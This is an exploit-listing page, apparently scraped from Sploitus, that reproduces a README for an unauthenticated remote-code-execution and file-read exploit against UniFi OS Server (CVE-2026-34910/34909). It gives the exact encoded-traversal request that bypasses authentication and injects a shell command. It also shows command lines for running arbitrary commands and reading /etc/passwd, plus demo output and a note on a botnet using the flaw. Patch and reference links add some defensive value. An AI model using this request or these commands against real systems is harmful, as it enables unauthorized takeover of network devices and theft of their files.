Sploitus

Exploit for Improper Input Validation in Ui Unifi Os Server

CVE-2026-34908CVE-2026-34909CVE-2026-34910

githubexploit · 2026-08-09

Exploit Code

README78 lines
## https://sploitus.com/exploit?id=1EBBB112-7C6A-5E16-BE71-47B9A5007AA4
# CVE-2026-34910 / CVE-2026-34909 — UniFi OS Unauthenticated RCE & File Read

**Unauthenticated Command Injection RCE** (CVE-2026-34910) + **Path Traversal
Arbitrary File Read** (CVE-2026-34909) in **UniFi OS Server**.
**CVSS 10.0 (Critical)** each · **CISA KEV listed** · actively exploited by a
Mirai-derived botnet (`azsxd` implant).

## TL;DR

Ubiquiti UniFi OS ships an nginx auth gateway that treats any request whose
**RAW URI** starts with `/api/auth/validate-sso/` as public, but routes by the
**NORMALIZED URI** (decodes `%2f` → `/` and collapses `../`). Encoding a
traversal makes the two diverge:

```
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=&by_cmd=true
```

→ reaches the internal package-update handler, which passes `pkg_name` to
`/bin/sh -c` → **unauthenticated RCE in a single request**.

The same primitive against `/app-assets/...` reads files off disk
(CVE-2026-34909).

## Exploit

```bash
# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check

# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id; whoami"

# 3. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd
```

### Demo (against a UniFi-nginx simulator)

```
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] SAVUNMASIZ — handler'a ulaşıldı (pkg_name required)

$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] Dosya: /etc/passwd
[*] HTTP 200
[+] Dosya içeriği (80 byte):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
```

## Affected / Fixed

| CVE | Severity | Affected | Fixed |
|---|---|---|---|
| CVE-2026-34910 | 10.0 Critical | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34909 | 10.0 Critical | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34908 | 10.0 Critical | UniFi OS Server (pre-SAB-064) | SAB-064 |

## In the Wild

Mirai/Gafgyt-derived botnet (`azsxd` v2.0 implant) chains the auth bypass +
command injection for unauth RCE — multi-arch loader staged from
185.228.26.16. See the [pwndefend writeup](https://www.pwndefend.com/2026/06/09/cve-2026-34910-exploitation-itw-building-a-botnet-mirai/).

## References

- [Ubiquiti SAB-064](https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b)
- [NVD — CVE-2026-34910](https://nvd.nist.gov/vuln/detail/CVE-2026-34910)
- [NVD — CVE-2026-34909](https://nvd.nist.gov/vuln/detail/CVE-2026-34909)
- [CISA KEV](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34910)
- [BishopFox CVE-2026-34908 detector](https://github.com/BishopFox/CVE-2026-34908-check)

## Disclaimer

For authorized security testing and educational purposes only.